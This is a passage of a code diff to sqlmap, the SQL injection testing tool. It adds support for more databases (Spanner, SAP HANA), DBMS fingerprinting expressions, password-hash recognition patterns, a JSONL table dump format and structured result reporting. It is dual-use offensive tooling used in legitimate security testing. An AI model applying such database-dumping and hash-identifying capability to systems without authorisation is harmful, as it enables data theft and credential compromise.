"NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", DBMS.CLICKHOUSE: "halfMD5(NULL)", DBMS.SNOWFLAKE: "BOOLNOT(NULL)", + DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", # also BigQuery GoogleSQL (not in DBMS) + DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)", } SQL_STATEMENTS = { @@ -359,6 +407,7 @@ POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", + POST_HINT.GRPC_WEB: "application/grpc-web-text", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", @@ -424,6 +473,8 @@ "dumpTable": CONTENT_TYPE.DUMP_TABLE, "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, + "getStatements": CONTENT_TYPE.STATEMENTS, + "getProcs": CONTENT_TYPE.PROCEDURES, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, diff --git a/lib/core/dump.py b/lib/core/dump.py index aa50ae07c4c..f1b2514c76c 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -6,6 +6,7 @@ """ import hashlib +import json import os import re import shutil @@ -14,6 +15,7 @@ from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import clearColors from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import filterNone @@ -30,6 +32,7 @@ from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getConsoleLength +from lib.core.convert import stdoutEncode from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlEscape @@ -45,12 +48,13 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapValueException from lib.core.replication import Replication -from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE +from lib.core.settings import SQLITE_INT_MAX +from lib.core.settings import SQLITE_INT_MIN from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT @@ -59,6 +63,7 @@ from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic +from collections import OrderedDict class Dump(object): """ @@ -90,12 +95,29 @@ def _write(self, data, newline=True, console=True, content_type=None): except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - - if multiThreadMode: - self._lock.release() + finally: + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True + def _reportData(self, data, content_type): + """ + --report-json: capture a structured result exactly as the REST API would store it (the raw + value + COMPLETE status), independent of console/file rendering. No-op unless a report + collector is active - which is only ever the case for a CLI --report-json run, never under + --api - so this never double-captures alongside StdDbOut. A None content_type is resolved + via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly. + + Keyed by kb.reportTaskId rather than the fixed REPORT_TASKID so that a multi-target run + (e.g. '-m' bulk file) keeps each target's results separate instead of later targets + overwriting earlier ones under the same content_type. + """ + + if conf.get("reportCollector") is not None: + from lib.utils.api import _storeData, REPORT_TASKID + _storeData(conf.reportCollector, kb.get("reportTaskId", REPORT_TASKID), stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type) + def flush(self): if self._outputFP: try: @@ -116,9 +138,12 @@ def setOutputFile(self): raise SqlmapGenericException(errMsg) def singleString(self, data, content_type=None): + self._reportData(data, content_type) self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): + self._reportData(data, content_type) + if conf.api: self._write(data, content_type=content_type) @@ -153,6 +178,8 @@ def lister(self, header, elements, content_type=None, sort=True): except: pass + self._reportData(elements, content_type) + if conf.api: self._write(elements, content_type=content_type) @@ -175,7 +202,7 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.HANA): self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -194,6 +221,9 @@ def users(self, users): def statements(self, statements): self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + def procedures(self, procedures): + self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() @@ -204,6 +234,8 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + self._reportData(userSettings, content_type) + if conf.api: self._write(userSettings, content_type=content_type) @@ -237,6 +269,8 @@ def dbs(self, dbs): def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.TABLES) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) @@ -279,6 +313,8 @@ def dbTables(self, dbTables): def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: + self._reportData(tableColumns, content_type) + if conf.api: self._write(tableColumns, content_type=content_type) @@ -290,22 +326,25 @@ def dbTableColumns(self, tableColumns, content_type=None): maxlength1 = 0 maxlength2 = 0 - colType = None - colList = list(columns.keys()) colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + # Note: decide the layout by whether ANY column carries a type, not by the last + # column iterated; otherwise a mixed table (some columns typed, some not) whose + # alphabetically-last column is type-less renders a header/body column mismatch + hasType = any(columns[_] is not None for _ in colList) + for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) - maxlength1 = max(maxlength1, len(column or "")) - maxlength2 = max(maxlength2, len(colType or "")) + maxlength1 = max(maxlength1, getConsoleLength(column or "")) + maxlength2 = max(maxlength2, getConsoleLength(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) - if colType is not None: + if hasType: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) @@ -316,17 +355,15 @@ def dbTableColumns(self, tableColumns, content_type=None): else: self._write("[%d columns]" % len(columns)) - if colType is not None: + if hasType: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) - if colType is not None: + if hasType: blank2 = " " * (maxlength2 - len("TYPE")) - - if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: @@ -337,21 +374,24 @@ def dbTableColumns(self, tableColumns, content_type=None): colType = columns[column] column = unsafeSQLIdentificatorNaming(column) - blank1 = " " * (maxlength1 - len(column)) + blank1 = " " * (maxlength1 - getConsoleLength(column)) - if colType is not None: - blank2 = " " * (maxlength2 - len(colType)) + if hasType: + colType = colType or "" + blank2 = " " * (maxlength2 - getConsoleLength(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) - if colType is not None: + if hasType: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.COUNT) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) @@ -410,14 +450,19 @@ def dbTableValues(self, tableValues): db = "All" table = tableValues["__infos__"]["table"] + safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) + safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + + self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE) + if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) try: - dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) + dumpDbPath = os.path.join(conf.dumpPath, safeDb) except UnicodeError: try: - dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db))) + dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb)) except (UnicodeError, OSError): tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "currently unable to use regular dump directory. " @@ -427,16 +472,14 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir if conf.dumpFormat == DUMP_FORMAT.SQLITE: - replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb)) + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except: warnFile = True - - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) - dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) + dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: @@ -450,7 +493,8 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir - dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) + if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+").close() @@ -458,13 +502,10 @@ def dbTableValues(self, tableValues): raise except: warnFile = True - - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) - if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) - dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) + if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES: + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: - dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) + dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower())) else: appendToFile = any((conf.limitStart, conf.limitStop)) @@ -516,13 +557,20 @@ def dbTableValues(self, tableValues): if column != "__infos__": colType = Replication.INTEGER - for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + # Note: the type must hold for EVERY value that will be inserted - sampling only a + # prefix would type the column INTEGER/REAL while a later leading-zero/signed/overflow + # value gets silently rewritten by SQLite's affinity (the INTEGER scan breaks early on + # the first non-conforming value, so a genuine TEXT column costs almost nothing) + for i in xrange(len(tableValues[column]['values'])): value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue - int(value) + # Note: keep INTEGER only for values SQLite's affinity leaves untouched; leading zeros ('007'), signs ('+1') or 64-bit overflow would be silently rewritten on insert + parsed = int(value) + if str(parsed) != value or not (SQLITE_INT_MIN <= parsed <= SQLITE_INT_MAX): + raise ValueError except ValueError: colType = None break @@ -530,13 +578,15 @@ def dbTableValues(self, tableValues): if colType is None: colType = Replication.REAL - for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + for i in xrange(len(tableValues[column]['values'])): value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue - float(value) + # Note: likewise REAL must round-trip textually ('2.00' or '1e5' would lose their exact form) + if repr(float(value)) != value: + raise ValueError except ValueError: colType = None break @@ -548,7 +598,7 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "\n" % VERSION_STRING) - dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", "")) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") @@ -591,10 +641,25 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() + # Precompute the per-column layout once. These values are invariant across + # every row, so resolving them per cell (dict lookup, int() conversion and + # identifier normalization) wasted count x ncols work on large dumps. + dumpColumns = [] + for column in columns: + if column != "__infos__": + info = tableValues[column] + dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"]))) + for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 - values = [] + + # Only the SQLITE and JSONL paths accumulate a per-row container; the + # others left these unused, wasting an allocation on every single row + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values = [] + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + record = OrderedDict() if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: self._write(" ...") @@ -602,54 +667,58 @@ def dbTableValues(self, tableValues): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") - for column in columns: - if column != "__infos__": - info = tableValues[column] - - if len(info["values"]) <= i: - continue - - if info["values"][i] is None: - value = u'' + for safeColumn, colValues, maxlength in dumpColumns: + if len(colValues) <= i or colValues[i] is None: + value = u'' + else: + value = getUnicode(colValues[i]) + value = DUMP_REPLACEMENTS.get(value, value) + + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), + # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + values.append(None) else: - value = getUnicode(info["values"][i]) - value = DUMP_REPLACEMENTS.get(value, value) + values.append(getUnicode(colValues[i])) - if conf.dumpFormat == DUMP_FORMAT.SQLITE: - values.append(value) + blank = " " * (maxlength - getConsoleLength(value)) + self._write("| %s%s" % (value, blank), newline=False, console=console) - maxlength = int(info["length"]) - blank = " " * (maxlength - getConsoleLength(value)) - self._write("| %s%s" % (value, blank), newline=False, console=console) + if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: + try: + mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath) - if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - try: - mimetype = getText(magic.from_buffer(value, mime=True)) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath) - - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warning(warnMsg) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn)) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warning(warnMsg) - with openFile(filepath, "w+b", None) as f: - _ = safechardecode(value, True) - f.write(_) + with openFile(filepath, "w+b", None) as f: + _ = safechardecode(value, True) + f.write(_) - except Exception as ex: - logger.debug(getSafeExString(ex)) + except Exception as ex: + logger.debug(getSafeExString(ex)) - if conf.dumpFormat == DUMP_FORMAT.CSV: - if field == fields: - dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) - else: - dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) - elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + if conf.dumpFormat == DUMP_FORMAT.CSV: + if field == fields: + dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) + else: + dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + record[safeColumn] = None + else: + record[safeColumn] = getUnicode(colValues[i]) - field += 1 + field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: @@ -660,6 +729,8 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False))) self._write("|", console=console) @@ -669,11 +740,11 @@ def dbTableValues(self, tableValues): rtable.endTransaction() logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n
    %s%s
    \n\n\n") - else: - dataToDumpFile(dumpFP, "\n") + # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise + # the file ends with a blank line and a later --start/--stop append injects an empty record dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) @@ -683,6 +754,8 @@ def dbTableValues(self, tableValues): logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): + self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS) + if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) diff --git a/lib/core/enums.py b/lib/core/enums.py index 689055a3c21..15c5763f69b 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -61,6 +61,8 @@ class DBMS(object): RAIMA = "Raima Database Manager" VIRTUOSO = "Virtuoso" SNOWFLAKE = "Snowflake" + SPANNER = "Spanner" + HANA = "SAP HANA" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -92,6 +94,8 @@ class DBMS_DIRECTORY_NAME(object): RAIMA = "raima" VIRTUOSO = "virtuoso" SNOWFLAKE = "snowflake" + SPANNER = "spanner" + HANA = "hana" class FORK(object): MARIADB = "MariaDB" @@ -112,6 +116,8 @@ class FORK(object): DM8 = "DM8" DORIS = "Doris" STARROCKS = "StarRocks" + TRINO = "Trino" + DUCKDB = "DuckDB" class CUSTOM_LOGGING(object): PAYLOAD = 9 @@ -140,6 +146,7 @@ class POST_HINT(object): MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" + GRPC_WEB = "gRPC-Web" class HTTPMETHOD(object): GET = "GET" @@ -177,10 +184,13 @@ class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' + POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z' + MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' + ORACLE_12C = r'(?i)\At:[0-9a-f]{160}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' @@ -189,8 +199,10 @@ class HASH(object): SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' + SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' - PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' + PHPASS = r'\A\$(?:[PHQ]\$[./0-9a-zA-Z]{31}|S\$[./0-9a-zA-Z]{52})\Z' # $P$/$H$/$Q$ (WordPress/phpBB) are 34 chars; Drupal 7 '$S$' is 55 (DRUPAL_HASH_LENGTH) APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' @@ -202,6 +214,13 @@ class HASH(object): SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z' + WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z' + WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z' + BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z' + ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' @@ -236,6 +255,7 @@ class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" + JSONL = "JSONL" class HTTP_HEADER(object): ACCEPT = "Accept" @@ -262,6 +282,7 @@ class HTTP_HEADER(object): RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 + RETRY_AFTER = "Retry-After" SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" @@ -284,7 +305,9 @@ class OPTION_TYPE(object): class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" + MYSQL_UTF8MB4 = "MYSQL_UTF8MB4" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" @@ -318,6 +341,8 @@ class PAYLOAD(object): 4: "Double quoted string", 5: "LIKE double quoted string", 6: "Identifier (e.g. column name)", + 7: "Block comment", + 8: "Alternative quoted string", } RISK = { @@ -404,6 +429,7 @@ class CONTENT_TYPE(object): OS_CMD = 24 REG_READ = 25 STATEMENTS = 26 + PROCEDURES = 27 class CONTENT_STATUS(object): IN_PROGRESS = 0 @@ -414,6 +440,7 @@ class AUTH_TYPE(object): DIGEST = "digest" BEARER = "bearer" NTLM = "ntlm" + NEGOTIATE = "negotiate" PKI = "pki" class AUTOCOMPLETE_TYPE(object): diff --git a/lib/core/option.py b/lib/core/option.py index 78a1f9b4b1b..55f2f8af2e2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -11,6 +11,7 @@ import collections import functools import glob +import importlib import inspect import json import logging @@ -127,6 +128,7 @@ from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE +from lib.core.settings import NONSQL_TECHNIQUES from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS @@ -144,7 +146,10 @@ from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer +from lib.request.dns import InteractshDNSServer from lib.request.httpshandler import HTTPSHandler +from lib.request.keepalive import HTTPKeepAliveHandler +from lib.request.keepalive import HTTPSKeepAliveHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler @@ -154,8 +159,7 @@ from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.keepalive import keepalive -from thirdparty.multipart import multipartpost +from lib.request.multiparthandler import MultipartPostHandler from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -166,11 +170,12 @@ authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() -keepAliveHandler = keepalive.HTTPHandler() +keepAliveHandler = HTTPKeepAliveHandler() +keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() -multipartPostHandler = multipartpost.MultipartPostHandler() +multipartPostHandler = MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: @@ -418,7 +423,10 @@ def retrieve(): conf.googlePage += 1 def _setStdinPipeTargets(): - if conf.url: + # Note: an explicit target source takes precedence. Without this, any non-interactive run (CI, + # cron, subprocess) would reroute '-m/-l/-r/-g' targets through the STDIN container, losing both + # their count and their order + if any((conf.url, conf.direct, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.openApiFile)): return if isinstance(conf.stdinPipe, _collections.Iterable): @@ -436,19 +444,27 @@ def __next__(self): return self.next() def next(self): - try: - line = next(conf.stdinPipe) - except (IOError, OSError, TypeError, UnicodeDecodeError): - line = None - - if line: - match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) - if match: - return (match.group(0), conf.method, conf.data, conf.cookie, None) - elif self.__rest: - return self.__rest.pop() - - raise StopIteration() + while True: + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + except StopIteration: + line = None + + if line: + match = 